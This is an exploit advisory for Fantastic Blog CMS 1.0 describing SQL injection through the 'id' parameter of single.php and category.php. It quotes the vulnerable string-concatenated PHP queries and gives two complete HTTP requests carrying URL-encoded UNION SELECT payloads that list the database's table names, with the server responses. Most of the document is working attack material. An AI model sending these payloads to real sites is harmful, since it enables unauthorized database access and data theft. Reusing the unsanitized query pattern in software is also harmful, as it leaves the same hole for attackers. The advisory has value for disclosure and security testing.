Fantastic Blog CMS 1.0 - 'id' SQL Injection

# Exploit Title: Fantastic Blog CMS 1.0 - 'id' SQL Injection
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/ronald-ronniem/
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Ronald%20Ronnie/fantasticblog_0.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/single.php?id=[SQL]
# 
#[PATH]/single.php
#....
#04 $id=$_REQUEST['id']; $query="SELECT * from blogs where id='".$id."'"...........
#05 $row = mysqli_fetch_assoc($result);
#....
GET /[PATH]/single.php?id=%2d%34%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 01 Nov 2018 08:42:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/category.php?id=[SQL]
# 
#[PATH]/category.php
#....
#04 $id=$_REQUEST['id']; $query="SELECT * from blog_categories where id='".$id."'"...........
#05 $row = mysqli_fetch_assoc($result);?>
#....
GET /[PATH]/category.php?id=%2d%34%27%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __atuvc=1%7C44; __atuvs=5bd96b11114f485b000
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 01 Nov 2018 08:46:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8